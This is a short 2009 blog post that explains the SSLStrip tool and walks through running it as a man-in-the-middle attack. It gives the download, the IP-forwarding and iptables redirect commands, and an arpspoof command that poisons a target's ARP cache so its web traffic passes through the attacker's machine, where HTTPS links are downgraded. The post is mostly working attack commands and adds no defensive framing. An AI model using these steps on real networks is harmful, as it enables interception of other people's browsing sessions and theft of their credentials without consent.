Tag: SSL
View SSL Traffic
by Rootadmin on Nov.12, 2009, under Other
SSLStrip will transparently hijack HTTP traffic on a network, watch for HTTPS links and redirects, then map those links into either look-alike HTTP links or homograph-similar HTTPS links. It also supports modes for supplying a favicon which looks like a lock icon, selective logging, and session denial. For more information on the attack, see the video from the presentation below.
How does this work?
First, arpspoof convinces a host that our MAC address is the router’s MAC address, and the target begins to send us all its network traffic. The kernel forwards everything along except for traffic destined to port 80, which it redirects to $listenPort (10000, for example).
At this point, sslstrip receives the traffic and does its magic.
Requirements
- Python >= 2.4 (apt-get install python)
- The python “twisted-web” module (apt-get install twisted-web)
Setup
- wget http://www.thoughtcrime.org/software/sslstrip/sslstrip-0.6.tar.gz
- tar zxvf sslstrip-0.6.tar.gz
- cd sslstrip-0.6
- (optional) sudo python ./setup.py install
Running sslstrip
- Flip your machine into forwarding mode. (echo “1″ > /proc/sys/net/ipv4/ip_forward)
- Setup iptables to redirect HTTP traffic to sslstrip. (iptables -t nat -A PREROUTING -p tcp –destination-port 80 -j REDIRECT –to-port <listenPort>)
- Run sslstrip. (sslstrip.py -l <listenPort>)
- Run arpspoof to convince a network they should send their traffic to you. (arpspoof -i <interface> -t <targetIP> <gatewayIP>)
That should do it.
- http://www.thoughtcrime.org/software/sslstrip/



